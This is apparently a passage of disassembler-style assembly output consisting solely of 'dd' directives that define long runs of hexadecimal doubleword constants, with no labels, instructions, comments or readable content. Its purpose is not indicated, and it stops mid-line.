dd 0D971A661h, 0B98A27F5h, 54CEBAFh, 43F149D4h, 0BEA7D1A0h dd 0EA78D103h, 0A334663Dh, 5D40A025h, 438200FFh, 0D88AE49Ch dd 46EE7DBh, 63469E91h, 1103B0h, 20DCC78Ch, 4FE7E054h dd 102F61CCh, 803054E5h, 16180297h, 5B0D5F77h, 0ED18F48Dh dd 1A285B6Ah, 1E181F77h, 98111828h, 65555868h, 13F094A8h dd 38CBC803h, 0A0DB421Ah, 0ABD68316h, 0E36CC8A4h, 0F58A5814h dd 0CCCB4043h, 0D786BB83h, 0F3958h, 0B3D88CA2h, 30170592h dd 0B4912F1Ah, 4C90EF32h, 31DD0098h, 0E0583C2Bh, 0A45B54E8h dd 94412472h, 76304C3Ch, 344AF789h, 3B5E5488h, 8FBB89D3h dd 0B4B5B18Eh, 0CAD10A6Ch, 11429A00h, 97DCD78Ch, 489251AAh dd 4723BC1Eh, 60AF6361h, 247BE424h, 508DDD8h, 4F0FE7DFh dd 431268A8h, 645A0D7Ch, 0D4A16119h, 0F608BAA9h, 0CD18188h dd 0DC852BD3h, 21005B71h, 4B44D82Fh, 4ECB272h, 0B4A7DB06h dd 40D08554h, 22817170h, 0DF181FB1h, 0AA811EE6h, 0EFDB3EAFh dd 0F9292056h, 0CCE105BCh, 8FA004BCh, 0EC9C8226h, 0C1D8A043h dd 0F1900A70h, 10077424h, 38C2518Ch, 1DEADFh, 0E8904F7h dd 0BE2FAF12h, 48217439h, 66C4003Ah, 0C844F750h, 223100ABh dd 0D37A027Bh, 98013CEFh, 8E1D0E1Eh, 2AF04B07h, 70220741h dd 906634D0h, 0E72FCB0Dh, 0CEF45400h, 7A3B25BDh, 40CC600Eh dd 0D119206h, 134BA083h, 2757001Bh, 80302270h, 0D7007A50h dd 88F74C29h, 1F21AF0Ah, 4476B3Bh, 8011A9D6h, 0FB1D037Ch dd 148C1302h, 0C427551Bh, 5D048D7Ch, 8A80F84Ah, 1128D0Ah dd 3FD89057h, 488037C3h, 96EDF7Ah, 0DB7781F5h, 2293B3Dh dd 0F0C8CC50h, 3174C01Dh, 7E23043h, 54AF2F40h, 6922A500h dd 0D47D506Ch, 0E85A0029h, 39BDD6EFh, 0E400DD62h, 9E6CE1Ch dd 40C5159Eh, 0C108F1Eh, 0D0005418h, 0B517B69h, 480029CBh dd 0B0CF8D8Ch, 17670CDh, 0FA021050h, 0D8089E0Dh, 0C500E743h dd 46040C83h, 9CEC054h, 9517A26h, 8B613884h, 0F880AE94h dd 2E208A13h, 6F4822EEh, 50007154h, 4129CE0Bh, 3B0AEF90h dd 618021BFh, 0F6CD0E02h, 0D400A93Ch, 7894C04h, 120BF2h dd 74A22B98h, 7A566234h, 547B020Fh, 0B5C580FEh, 0C20680h dd 0EAC37837h, 32E0AC1Fh, 8C0940C1h, 0BC01111Ah, 5067CC74h dd 6D02751Dh, 0DC8BF400h, 2D66A1h, 0D4CC4661h, 11991FE6h dd 4B490300h, 1B0E8C20h, 0BE240098h, 42672E21h, 8CB31075h dd 58705057h, 9A048F24h, 22462A00h, 73DC4B9h, 10C97B78h dd 89F56228h, 3E358CC0h, 9845802Ch, 954AEE00h, 1D0211h dd 0B8604F5h, 0A21359D5h, 68393B00h, 66D60943h, 3B81E24Dh dd 2100BED0h, 0C30A5F76h, 980025B3h, 4B43CE08h, 0E138D10h dd 0A9405314h, 5A776940h, 2900DFCCh, 0D592F833h, 73F66AFh dd 0D40F0265h, 159630EAh, 4B00170Dh, 612F371h, 3A52E98h dd 58353028h, 5DB0D00Bh, 0ACB0934Dh, 2613344h, 0AC20F0CBh dd 9C53D9DEh, 43FDA57h, 1DD500D7h, 142B3DA3h, 31D6AD00h dd 36CBD708h, 2A9229D8h, 0A5005434h, 81642722h, 7936DFh dd 38313DD5h, 74630AA0h, 0B450609Ch, 183F671Dh, 0B2B7C12Ch dd 21BF01h, 87C22273h, 5E2E850Dh, 18C00C9Fh, 0C1FC121h dd 47C03C22h, 802375Eh, 964A049h, 0BA9C17DAh, 0ACD4C391h dd 21050930h, 1C9CD2E9h, 0C004480Dh, 53CF46C1h, 0FB00118Fh dd 81A9B2Eh, 0E0FD43h, 979CC816h, 0DC616342h, 7C41AA5Bh dd 0D76FBC38h, 250EAEF4h, 10415906h, 192180CDh, 1AA26FB4h dd 36323AE2h, 45764D80h, 0EEBEE11Dh, 98305C75h, 332A6013h dd 0E8E700C1h, 2372D993h, 0D8E96402h, 221844D1h, 8BF91FE1h dd 0F30B004Eh, 5A53D614h, 0E25371D9h, 5274201Ch, 0ED00B891h dd 78A52A88h, 8C0EBD23h, 0EF22C2BFh, 3EB39464h, 763F0071h dd 576763E4h, 74D466C1h, 9E004170h, 21BCBE54h, 5118C78h dd 7AB32742h, 0E68C0CBFh, 3D2023B8h, 60DF7971h, 0FEF3B192h dd 5825F5C4h, 76C04870h, 3844868Eh, 8000BEA7h, 0D0EC9F52h dd 0C9020B33h, 92488782h, 0E11C8383h, 0F499006Ah, 0AC646213h dd 9120A38h, 2054B168h, 62308h, 91B49CE0h, 44863436h, 9CE6E320h dd 0D2014A00h, 6944B43h, 0E7FB0034h, 0B0EDB9EAh, 0E0D41FC7h dd 8C16E854h, 5687B201h, 0D6122001h, 28D4DADCh, 3340EEE0h dd 0A0310DB1h, 0F9F757D0h, 0FB0031F2h, 0B7A6FE8Fh, 7B496AF3h dd 0B12900C7h, 6E7922E0h, 9205287Ch, 71DC4D54h, 0D587EC01h dd 44E8F386h, 25028FDh, 839508BCh, 706A338h, 79144Ch, 1C0BE8A1h dd 610D245Ah, 49DCA407h, 9EC04B20h, 0F5DAB9h, 8B94F135h dd 8196C56h, 0DC31EF7Ah, 0CB15804h, 3E59B980h, 97A60EADh dd 52FC7803h, 0CF6DE26Eh, 4CD361F2h, 6FB3049Ch, 62D642E0h dd 0AB1620D0h, 0A700BB6Fh, 42FD7D1Bh, 0C40B98F5h, 4010B270h dd 2181693Bh, 0B92E0057h, 7711F1A7h, 780174AAh, 0AE41A9FBh dd 0B892C224h, 0F220B0BBh, 6CF5D902h, 808116F1h, 2B7B5848h dd 0E9DA1D2Ch, 0B03B9288h, 762846E0h, 0C200F8B8h, 0CF793FA6h dd 49E1D12Ah, 82004067h, 0EC7441C7h, 0D47D66C5h, 80188695h dd 0DFA70321h, 0D1CEDD41h, 0C405CBF9h, 5B12C9F4h, 2854DCB0h dd 456181ECh, 10247599h, 34763291h, 0C830D470h, 0EC731141h dd 807688DDh, 0B241E0A8h, 0E731A067h, 0CBA76039h, 0F2D4E980h dd 1DF70456h, 3B148103h, 88AB7BACh, 39AEF6CAh, 0F312E494h dd 0DB90B0C4h, 348FD75h, 88C284DCh, 0B063D901h, 9FB9804Fh dd 28BB2E4h, 0A1E20480h, 0A9E5DF03h, 9B940430h, 1C836956h dd 30897CB0h, 74211F49h, 3200EC1Bh, 0B4DC839Bh, 170E8FBh dd 7F533FFCh, 3054EE22h, 9443094h, 92A7F20Dh, 0A9FC02ECh dd 0CADFE449h, 0B8E0CC4Dh, 4059A687h, 0A0135377h, 0A400C303h dd 2BC18889h, 0B9DD6D90h, 9310F2D8h, 80894B06h, 11C41D44h dd 0A4FA50AAh, 0D7A0EF0Ch, 9CFA50DBh, 0EA768444h, 71B0C253h dd 0DD8E3720h, 0E82C00C0h, 9141780Fh, 63009CB8h, 48B60AF4h dd 37A689C9h, 0C4A81195h, 201C89AFh, 0B01AEAC4h, 468C943h dd 0B067B884h, 587C722h, 0C4C0A4B1h, 286F220Bh, 48A8DF49h dd 0AA0F2E59h, 1A4CDB42h, 6A00E7F1h, 5334B25Dh, 713C03h dd 2AA3EDE4h, 0E82F74B9h, 0E98B5B02h, 6F1E01B0h, 80A76494h dd 60E19D28h, 88EA6109h, 48C8213Fh, 0EC3353D9h, 7B301DA2h dd 30855816h, 0B416B89Ch, 93EC4205h, 50436F9Ah, 0B5207882h dd 3AC7C1CCh, 0F9D017h, 0D63C5031h, 69E96168h, 0DC8E9107h dd 38CFE597h, 0F28DF48h, 0F1205859h, 0AE34A320h, 9700FCAFh dd 0D665A5Dh, 4268B8Ch, 41554F68h, 2389705h, 0D504CEC3h dd 6092E8C3h, 213AA4B9h, 0BAF83B70h, 0AA9B0F09h, 50CD26Eh dd 9CCC8397h, 23882F38h, 4E0A0B07h, 0FDBF6683h, 46335990h dd 538C891Dh, 0B146DCA8h, 0C4227102h, 17311D87h, 220ADF10h dd 750166E2h, 0E0B29BF8h, 43E84613h, 0DCE849F5h, 6832F06h dd 7904C06Ah, 2A47B0ECh, 4E0A38E8h, 2C881835h, 0C1D30A24h dd 0E1F1288h, 489011B8h, 12D722D8h, 4AD0ED41h, 5C58C9B8h dd 9B071946h, 30E24612h, 0CAB59020h, 0C5AE890Dh, 8440882Dh dd 4ED5CDA2h, 0A5DC8CC9h, 44872B28h, 20F4E0C4h, 0DC7C3200h dd 0D323986h, 74D82155h, 8E600ECCh, 8B72276Fh, 61328420h dd 0DB491031h, 7BAD91D0h, 77D1DF07h, 703052E4h, 24BDC7BFh dd 8528A5A6h, 98D22AD0h, 4108C218h, 0C4EDEC71h, 0DAA24075h dd 128AA141h, 436E9B97h, 40FDC330h, 431CC8ADh, 0F59E540h dd 0B4C6D24Fh, 4309B265h, 0C9A605A8h, 0B7B03AA8h, 27C39003h dd 0AB4E9h, 0FEA37621h, 6ED91C12h, 0F009DC73h, 0CFCC332h dd 41CA78FDh, 0AC90006Ah, 8F09554Ch, 842172A4h, 80ED1D52h dd 0D4162238h, 92482714h, 5B11196Bh, 5E8700D2h, 88A12339h dd 588C33EFh, 1D4510C0h, 82A0C22Eh, 0C78A2BB3h, 720AC8AEh dd 7B7A808Ch, 0BDFC827Ch, 0A4F83801h, 5C55FF1Eh, 0BAC031CDh dd 0EA72AC9h, 0E5410CD4h, 0DA9812FCh, 9C940D78h, 0D0B086A8h dd 7A7C313Eh, 2CA20586h, 20B2ACC4h, 0CF39AE94h, 1E9BF100h dd 0A082303Ah, 0D9C81683h, 984C14D1h, 58582C8Dh, 22081078h dd 0C41587C1h, 9C2401Ah, 79CD3722h, 0D8E00DFh, 5C922BA7h dd 6159E171h, 4889276Ch, 4D5F0D50h, 0EF06289Ch, 7823B788h dd 6297D909h, 11B81D2Ch, 0FCB7811Eh, 0B0F402DDh, 7F2B2833h dd 0CF520C8h, 58FE6301h, 43A06A7Ah, 81D880E2h, 821FD9AEh dd 2D860040h, 4759B8A8h, 2B342509h, 22E082CEh, 62504084h dd 0FD16155Eh, 0F098988Ch, 0AB67B439h, 0C375A6E0h, 8193F847h dd 0D2ACD120h, 0AA1F0252h, 5E0DDFD6h, 0A3638090h, 0D902C899h dd 6A24E598h, 9605A3Ch, 81BE9B92h, 160534FAh, 0CA9CC9D0h dd 11052CC1h, 0C056E100h, 0F45CD01h, 0B9EF083Fh, 9C380424h dd 4465C5Ch, 0A1B124h, 828D8055h, 10B8F687h, 2B594E10h dd 0B32DD000h, 1CE11A77h, 0E6018B0h, 0AA8B2999h, 48B0C391h dd 59782B49h, 1BAD660Fh, 8FF44170h, 15F4F803h, 9AA1FC1h dd 840B956Eh, 0FB80D23Ah, 63557BE7h, 4305287Ch, 49DAC740h dd 5E527880h, 711E64E5h, 1D8A4B1h, 1884AA00h, 68E647EEh dd 35B70093h, 92639827h, 0C6514B85h, 0EA77D8FCh, 9D24617h dd 80112008h, 7D10D59h, 0A03B0C2h, 0D3580C77h, 9CC590BFh dd 0DEE63Eh, 721BF4D6h, 78227C6Eh, 0DCC9C400h, 9B12F171h dd 0EFD4A85Ah, 0A2C28F5h, 0F9C400E4h, 8B95AC83h, 0DF80DDCDh dd 8C0C55E3h, 0A4C5F443h, 69037300h, 2500F89Ch, 0FEA56B2h dd 1BA4942h, 6C8E3CF1h, 0E887BCE7h, 6D5930E5h, 98090450h dd 44B319D6h, 0AFB2B23Ah, 94A1F028h, 52970CB7h, 0C848BB08h dd 32309392h, 0F5C3988Fh, 590C6368h, 40C142BEh, 6410830Dh dd 0C87F683h, 2D491D28h, 3809F1C1h, 0C4C90525h, 5D931CB0h dd 0CB1E40E8h, 0BF0CD4DAh, 724F2B02h, 82D2C9B9h, 488941C0h dd 3C9328E4h, 0D928B12Ch, 42552CF0h, 1BDF8954h, 0E70314FAh dd 0DEBF0F8Ah, 5E402CDAh, 8811904Ch, 41C5C0D3h, 3546EC0Eh dd 0A5007E22h, 0E7D41DDh, 1C1A6188h, 42D1BFh, 8286AE1h dd 0A8A0D905h, 1132B0F0h, 0C06098D6h, 1293122Ch, 4B197E5Ah dd 1820C0C8h, 0E236B1A9h, 960AFB17h, 0EDDC32h, 0E1DDBB57h dd 0C9816660h, 95E3431h, 43D2FC0Ch, 8CC4988Ah, 5BE0D4D9h dd 6E2DE898h, 43146A97h, 418AAAF4h, 1084EA38h, 0C8C7CB93h dd 0BAEA89CCh, 0A46F890h, 0C09CDC02h, 1331D691h, 9CD4EF10h dd 0DE077E77h, 0D398EC09h, 879409C9h, 1B2615A4h, 8B113DC8h dd 0DFF87DB0h, 90AC5F0Bh, 87AD890Bh, 618410CDh, 0F8C2827Ch dd 0D001059h, 0C0A55D44h, 8FD1DC4h, 9F6D8043h, 6C4D3A88h dd 91DAFE02h, 0C469BE83h, 6876F3D8h, 0D96FBA02h, 0C731BE42h dd 0B21B2180h, 555B8D6Fh, 8B893702h, 0A0089663h, 0D1AE87A0h dd 0F8C0BA12h, 5261FE57h, 0C00230E0h, 0CE42DB6Fh, 150098E7h dd 45F36FB8h, 0F44F00D2h, 9394659Fh, 0B0C07026h, 0B8D82B58h dd 2866589Ah, 1E68CA11h, 42824B3Fh, 0EABFB1B7h, 400C8024h dd 13437485h, 0C267E015h, 0E9201240h, 0FDD7C6h, 0F4A46D27h dd 9FAEFBB1h, 373A8D79h, 8F9B89DEh, 0BF0200A8h, 965948A9h dd 0FD430EF8h, 649018EBh, 88B48C62h, 6170B08Dh, 99491840h dd 9168B402h, 9CDB8005h, 962E91BDh, 0D3F0587Ch, 42D59C58h dd 5FF101B0h, 0E303499Eh, 0D43CDF31h, 6810C927h, 78808342h dd 192E6049h, 0CD7764B7h, 4B844813h, 0CF73F042h, 0C938C01Eh dd 6CD8A21Ah, 0F3820AB8h, 1A0D483h, 73B0AF38h, 97C20C4h dd 9CD7048Ch, 62CE91B9h, 2FEC201Eh, 1F01649Bh, 9D97C707h dd 608B403Fh, 0E4004EA7h, 701D42BDh, 6327F092h, 1AB01008h dd 5C4316A6h, 2DC8201Dh, 7A2C550Dh, 0E680EC2Ch, 0F8154460h dd 9740C307h, 84E45E9Bh, 0A9BEC614h, 6B79A8B9h, 7B1DF218h dd 0F589A947h, 0FFA0E008h, 9459034Dh, 84540DB2h, 6FE26102h dd 0A995E125h, 6430E538h, 0AB3E607Fh, 652D0046h, 767BE3C5h dd 821C44EAh, 70B2686Fh, 0A9FC20C1h, 4802884Ch, 554689E3h dd 62E08F07h, 0A4BD832Bh, 0EC8B63ACh, 76C0CCC8h, 0B21D958h dd 0CFDC6392h, 0E8ED1402h, 0CA18DCD0h, 3C31E0A7h, 0FBFE0046h dd 0BC4A1AA1h, 5A1E671Ch, 0D90F7E1Bh, 40CDE987h, 49B1C1E0h dd 82006080h, 0F394409Ch, 0D4A275BEh, 5F70A853h, 1768E0E7h dd 916B5D9h, 7C60BAE0h, 0A013EA78h, 9400C5A3h, 5E0BE0D4h dd 0B97A2EDAh, 2D2A6064h, 0C506C0F4h, 71AC6C75h, 73E775D8h dd 37E80BA3h, 84C972C2h, 97B917D3h, 811E91FCh, 99FDB158h dd 0D85259DDh, 91C20020h, 0B9D3C693h, 89DE6861h, 724AC5h dd 1F02BD38h, 17F5D95Eh, 0C28668DEh, 0FCD114B2h, 927402ADh dd 3B5DDA7Bh, 0E184860h, 0EC79D203h, 0D038A38Eh, 2274B497h dd 3D00174Ch, 43982B1Eh, 16F53968h, 0B796D55h, 1CE4D27Ch dd 6C223300h, 386E8AF3h, 67A409C9h, 0A01073DCh, 582CE7FCh dd 46768CC5h, 941B0B1Dh, 29AE0B9Bh, 0E88898ECh, 85FB1619h dd 69846072h, 0C1413FA0h dd 0C65A801h, 2C098462h, 6C66B5D8h, 0C8220D05h, 9CA27D87h dd 2206C3C3h, 4C1A23A8h, 80009899h, 595FC8A2h, 0E8584845h dd 0D9F6F903h, 24C334EAh, 848CC7DDh, 30D82218h, 0F1341DCh dd 0D88B3DECh, 541F47Fh, 52BB9E91h, 0E2ACE263h, 2D9130C7h dd 71609506h, 7B897D45h, 0BE8B12C1h, 9728016Dh, 2C2074E5h dd 0C8B4CB74h, 27F2BF4h, 0C9B7333Dh, 8957A59Fh, 8AA005D8h dd 48010E0h, 0A904E737h, 0FA188849h, 81B14438h, 7EDC78C9h dd 8C68BD32h, 6016F001h, 0C4EF2CEBh, 0D72F13A0h, 19C00772h dd 0D544944Ah, 1041DB60h, 0C425EC26h, 41D3F873h, 657F017Dh dd 541542CBh, 87C9001Ah, 80B4BCA6h, 7792D9F2h, 0CA0757E4h dd 0E7B0EFB9h, 40A46F5Bh, 8C79AD97h, 17F9D2Fh, 639809C0h dd 0B4ECC4EEh, 0D548DC8Ch, 0BCD1158h, 3FBFA00Ch, 0A5180760h dd 5B180849h, 0A02F54B0h, 0AC38A91Fh, 22080E18h, 0C46587DBh dd 7C84013h, 16D4A22h, 81460BDFh, 381E61AEh, 90E08EC4h dd 1947580Ah, 791108D4h, 0E788EF05h, 213804D6h, 3C880BE5h dd 9B243861h, 364A80F4h, 52CDF43Fh, 0C179B614h, 954611D0h dd 60C76278h, 0E9001499h, 45CD3B88h, 0C11F172h, 0C678A7Bh dd 1962C442h, 88ECF477h, 60E05B32h, 0E820E0DCh, 8BECBC74h dd 0D41F9155h, 59816B91h, 6045921Ah, 6840508Ch, 9A9312BBh dd 1558C065h, 70B46BACh, 59943289h, 1D51194h, 0AC47E782h dd 58747683h, 0FEA241DBh, 5AC0DCCDh, 0CED57Eh, 2F430426h dd 0B1394212h, 2E080749h, 0BB002303h, 0E4FAF224h, 0EFDF2677h dd 0F51640D4h, 0A90AC08Ah, 48723E83h, 162B4340h, 8070E04Fh dd 31CF2D8h, 120EDC76h, 0AC95000Ah, 438A70Dh, 545E8BC7h dd 0F2F895C8h, 307FE27Ch, 1809AE37h, 0E90371h, 0F13F5A71h dd 0CBA63D99h, 44D28B97h, 0BC61411Ch, 8C07BC18h, 5B93BF1Fh dd 5E1CF5C0h, 0BADCE542h, 4EC89870h, 2BC002AAh, 80E09227h dd 1F0C2EA1h, 0D830114Dh, 4F7C0663h, 1019E1ADh, 0C898ED09h dd 0D298000Fh, 3C43859h, 926142DCh, 50FEFA93h, 13305805h dd 8C3A9A71h, 0CE0E7D23h, 2CB960F6h, 0FBFC8CFh, 0FCC35D14h dd 0DF947420h, 0E62463D5h, 0A0087851h, 54904B4Fh, 5B0298ACh dd 8BA05E74h, 63906FCDh, 0C08CA449h, 72DD9314h, 18DA8Bh dd 64831661h, 0F4A09584h, 0FF5C593Ah, 2F24A3Eh, 0DAB1BF97h dd 0C47067D9h, 8732601Eh, 4840101h, 996FDB49h, 0F4402AA7h dd 5212273Ch, 0BBBE3B28h, 2B90F704h, 4DCA878h, 0DBD4A689h dd 8A9B8D4h, 97182931h, 4D010AC5h, 7FB0E9EDh, 0B17843D5h dd 0BC5CCCA4h, 56789686h, 8062C721h, 69C083A8h, 16F2AD67h dd 0F388A4BEh, 0A3C664CAh, 3013E244h, 2B4A875Ch, 7619088h dd 15D5B268h, 0F8C09F5Dh, 6DA41ECEh, 58A1BA00h, 839FD6FFh dd 913901F9h, 0F379BF04h, 9503C86h, 612AED43h, 0C42638CCh dd 20E23EE0h, 87149DE2h, 1CA097A4h, 30122CD4h, 22200087h dd 0C3FEABh, 0C7CA8C89h, 0C9107254h, 6361E1F8h, 0FECE58C9h dd 4474F4h, 0D7F212A3h, 5D77F175h, 1E761703h, 92796E91h dd 3044ABh, 0CC244328h, 0D86D59Fh, 0B8B67013h, 0E3DF708Bh dd 4FC3DD00h, 31DCFBAh, 0BBD04BF1h, 0C1D48382h, 2F633E00h dd 90E4B84Eh, 82B4AA1Dh, 8BFD2BC1h, 0D08704E0h, 0C3A725Fh dd 6001C23h, 0B22499A4h, 0E9E60465h, 0A83E53E8h, 675E08CCh dd 4FE202EBh, 9C67EF49h, 8C600864h, 9B00DBAEh, 34428078h dd 49AA3F51h, 9C3E64CAh, 90E79680h, 0D232A063h, 0F39A3800h dd 73C0B2C2h, 97FC06B8h, 0A0E274AFh, 0D66CDA48h, 68854094h dd 89A59500h, 90FF0B99h, 20ED22B4h, 5B074013h, 83027008h dd 0DFB13236h, 16FC3058h, 9091DE23h, 0ED002CC5h, 3BFD1388h dd 22589C36h, 3D4C29F5h, 97B216D1h, 0E541C830h, 681062D0h dd 94419B95h, 37E4401Fh, 0E018DAC2h, 16B911E6h, 0D1DB4A85h dd 22373428h, 301DF224h, 0F900DE50h, 7AD9B638h, 9069EA72h dd 2AB4608h, 87C6220Fh, 1FCE76Dh, 2F2208C5h, 0B0203B51h dd 648B4Dh, 5FCCE85Bh, 0DBA0EA1Ch, 0D9A80595h, 6822F4B1h dd 32208384h, 6FB930D9h, 0A642DA17h, 1184838h, 3FE06FB1h dd 0E0FA26B3h, 7525B094h, 20CC48E1h, 715B3F9Ah, 52930373h dd 0A9BCDBE5h, 0F8B37CA8h, 37A0EF1Ch, 1402265h, 44011A17h dd 32470BDFh, 21C6CCC4h, 0C0FB5CAAh, 19732608h, 1054444Bh dd 487FBD5Eh, 0D72F13B4h, 4A2FF889h, 0C420AA6Ch, 59284003h dd 0B0EAE230h, 5DC21B8h, 0D0279691h, 8866FC4Dh, 24E88290h dd 0B44A1248h, 33A0060h, 0C4D401FEh, 60A9185h, 1D4F9C3h dd 81FA10C8h, 8214881Ah, 20A14E87h, 2B20485Ah, 2D18C433h dd 69EF040Ch, 18BC18ACh, 8992178Ch, 83140441h, 84F406CCh dd 0C68B22B0h, 0A06C6531h, 0B4536246h, 0CD299D6h, 12898020h dd 0E91F8D56h, 0CB6B1870h, 274E8B38h, 0A0EDE2DEh, 44057990h dd 0D51178E5h, 5D70C8F0h, 0F33EFD73h, 51BB05CBh, 0B4B2B974h dd 5EB5E101h, 20EBB834h, 8B4CF48h, 88303424h, 0B971323Bh dd 6660C204h, 44200209h, 5E045A61h, 0DAB80A06h, 3B6D11C0h dd 5F9121Fh, 0DEA74421h, 897C8C33h, 398441C9h, 1649012Dh dd 0AE831980h, 1DCC5A86h, 0E9C95901h, 78BB60ACh, 53C15870h dd 16A2DCCAh, 1C660D31h, 54A9FC00h, 1FBB3EF3h, 0C6D170B9h dd 0EA774418h, 0B44BB15Fh, 93D0C882h, 0D2150BFBh, 0D0EBE7A8h dd 624451A0h, 928D33Dh, 91D985EAh, 0D02BE138h, 8481C3A0h dd 0C2A36005h, 20AC63BEh, 248C20E8h, 39E83D67h, 0F0B8060Bh dd 9317D418h, 2CC12E4Eh, 829E2DFh, 7A837C09h, 79095870h dd 0A177AD8Ch, 15AE8BA8h, 0B7B8C8C6h, 604AB8B8h, 24E1C806h dd 37E6E882h, 18211F06h, 5686410h, 8ED020E7h, 1A840003h dd 0CF340E94h, 465C5CBCh, 815D3E7Ah, 0E29795FCh, 0E5E00C5Bh dd 0CCC31643h, 0C8D08B9Ch, 4E63C004h, 1C389622h, 6C89A6BDh dd 754674h, 0A9AC176Ah, 83BC012h, 2DE9DF25h, 0A80154A4h dd 39CD9207h, 23D02F3Fh, 0CF300076h, 0BDA6872Fh, 0F1C02E50h dd 9D4D900h, 0E05797B7h, 25DA7991h, 946BB973h, 0FB0B22C0h dd 0AD84E800h, 447CE7BFh, 3F341726h, 0C81CCB49h, 131C079h dd 0E7049BB1h, 56FB94E4h, 0C41898A1h, 0A932579h, 32EF1840h dd 0D78D1610h, 0F0210207h, 3CA29B80h, 6CF2A6FBh, 80944C5Ch dd 596C20AEh, 5A0D24DBh, 4F1A4088h, 30EB9415h, 7D022018h dd 0D0E24CA9h, 70F45B29h, 3C000704h, 951FE6Eh, 49DFFC1h dd 87C9D7A9h, 237CBCDDh, 9C823D07h, 343E91B3h, 0EE4088F1h dd 88A9CD5h, 0EA25566Ah, 38C9CB3Bh, 4E2B9008h, 0FDD0C88Eh dd 6B3420h, 0E47752BBh, 0EA207BB7h, 0DF28BA98h, 0A912401Bh dd 4121A5Dh, 13237C3Ah, 3CA1CB03h, 261E83F8h, 0A50DA70h dd 2C789DA7h, 5427DCECh, 838C416h, 67DCFD41h, 0F7839501h dd 847C1FA5h, 6243C7E8h, 0E7289B00h, 39550718h, 8435125Eh dd 1AC81CCAh, 4C99A0CEh, 1689B40Eh, 0A398EFF1h, 0E2A84204h dd 2AEC301Bh, 6A9A0500h, 71F7473Fh, 51AA582Eh, 70781F29h dd 0E866133h, 2DEE443Fh, 7DDBBCA0h, 718E382h, 4790EB1h dd 17F403DFh, 0B368DDFEh, 0BA31D1F8h, 252DFC01h, 0EA72373Bh dd 2870206Ah, 0BB2D3243h, 0E470C502h, 0AE3C60CDh, 6EF4005Fh dd 6BC19FFCh, 0FD2E940Ah, 2C8070FFh, 0A347E1D9h, 0F4409A2h dd 0C0C8E2D5h, 45008DB3h dd 0FFD083DBh, 0AE6643h, 0EBE98124h, 405F7561h, 6C1DD975h dd 63C94476h, 0AAFC68ABh, 389C0C9h, 604F5841h, 6D07F100h dd 0F8AF2CA2h, 0E0B6FE2Fh, 151A0077h, 7DE47380h, 1216E666h dd 34CB0F68h, 63C0C5C8h, 0ECB0ED5Dh, 22E0C016h, 7E81D41h dd 0F37CB0BAh, 4A796840h, 4978815Eh, 9561072Ch, 0EC283D1Fh dd 7621A7E2h, 69015BEAh, 8D28680Fh, 0AC6021B7h, 951C40B0h dd 0A0D38B24h, 0C4F54384h, 3807C8B8h, 861DC101h, 1F611103h dd 8ABD4158h, 4FB84C6Dh, 11144C1Fh, 0BDC20400h, 2E7C5143h dd 80EC1693h, 96E75759h, 70D6AD88h, 10D7E012h, 914E8961h dd 0C0126428h, 23803B38h, 0F3400331h, 18B83ABEh, 0EF4A98ECh dd 0E2D8D818h, 0E1FD006Ah, 0D3C935B9h, 5896AC63h, 0A41C5760h dd 541D1042h, 48383F0Dh, 8CCCE87Ch, 35CD9800h, 15FCE731h dd 43D504C4h, 0ECBD3736h, 0FC335EFCh, 8440AD49h, 1608E655h dd 73720078h, 0CCDAD04Ch, 0DD0C6985h, 29E10132h, 0E4179529h dd 0A8871B91h, 8FDC303Fh, 0CA1F99AEh, 586732B8h, 22184E4Ch dd 0BE30DE68h, 42DD3D6Fh, 648BDEh, 696FB617h, 13B4A87Ah dd 0B03244C8h, 5B8090E8h, 1B04271Dh, 29780010h, 4FA05380h dd 0C4BCC7AFh, 648FD42h, 3C43886Fh, 85895818h, 0E924015Bh dd 3E1FE8h, 150722h, 395AE04Bh, 7F68D9F0h, 8048CC3Ah, 8659AC62h dd 0E210ED30h, 7882564h, 0AE878860h, 4C762927h, 60F08DC0h dd 25ECE408h, 45BF23Eh, 0E1DF273Dh, 0FB1280A2h, 2E7C5CA2h dd 16174340h, 74762890h, 72808C91h, 0DF066C4Bh, 41FA60E6h dd 808EF394h, 1CF06082h, 0E4B18011h, 0D29E0C2h, 827CFC5Bh dd 429B0A5Eh, 9A97B0F8h, 0BC861E4h, 0BFF6D918h, 0C5DE9125h dd 0D1EA80C8h, 67F3A79Ch, 0AE63E716h, 580D1C21h, 7F98316Ah dd 979F0033h, 181C69E2h, 7F796051h, 0CC308C18h, 0ED2FB0C4h dd 98E252F7h, 0F601BF00h, 5A9781E1h, 4781986Bh, 80F16FF0h dd 0CDAFD220h, 0AE850A54h, 7490B444h, 38011346h, 0F544E8CAh dd 0D4406BFCh, 0AD63D9BAh, 0DEDC4A1Bh, 34BC8048h, 9164043h dd 0A1E787FDh, 482894A7h, 0F0A4A902h, 8B585C1Ah, 0D4718B16h dd 1065888h, 0E6E04217h, 0AC39802Bh, 0D6B333B1h, 4F34B40Dh dd 0BF5B8C20h, 970741F8h, 3DDC4366h, 0DAC0C5F3h, 0E64082FCh dd 930A202Ch, 3490666Ah, 0E85A5B24h, 4AA0D695h, 6CC8F4CBh dd 9DAE28C0h, 9900082h, 0FD444272h, 0F09405ACh, 0C2E9F986h dd 4054F8E0h, 0A54EBB09h, 0C4C8E08Bh, 54E2ADC2h, 0CFA68FD4h dd 98868340h, 64064287h, 6E600DEDh, 94632D21h, 5D4E8810h dd 9F1A1940h, 64D1FC4Ah, 0A5182079h, 4CA7EF28h, 0A20C0800h dd 6D847F4h, 0EE2000AFh, 42AE8BFFh, 22B5D994h, 0F37BF048h dd 6306704Ch, 2A18540Fh, 5C518348h, 3F59F86Ch, 5ED90255h dd 0C9C6961Dh, 0CE0814F6h, 6BE10D77h, 466AD469h, 71738302h dd 0D4B45645h, 0BD429F0h, 0A412E155h, 1879D0D9h, 0CD056A18h dd 67A0EF9Ah, 0A73884ECh, 64A0692Dh, 68D1815Fh, 0EE4574B8h dd 46E2Bh, 0B153707h, 28A011D6h, 5F849F09h, 435C897Ah dd 98B49834h, 0C0BC96A4h, 418E5B42h, 3602DAF8h, 6718117Dh dd 9FFEA460h, 17550842h, 80C691A4h, 2BD0E47Ch, 980CA28Ah dd 0AF96D8h, 0CF1EB9AEh, 741E322h, 6A8A9D01h, 8FD8043Bh dd 443C67D6h, 1070601Ah, 6B6D0020h, 0E8EDF289h, 0BF3C42A2h dd 2546172Ah, 4E5304C0h, 20210922h, 68480A10h, 0F0886A42h dd 178528E8h, 0DC88B4E0h, 0A4A1BE04h, 38D04749h, 5EC9FC3h dd 4E897357h, 201CA111h, 8C98014Ch, 20EA5Bh, 802E794Eh dd 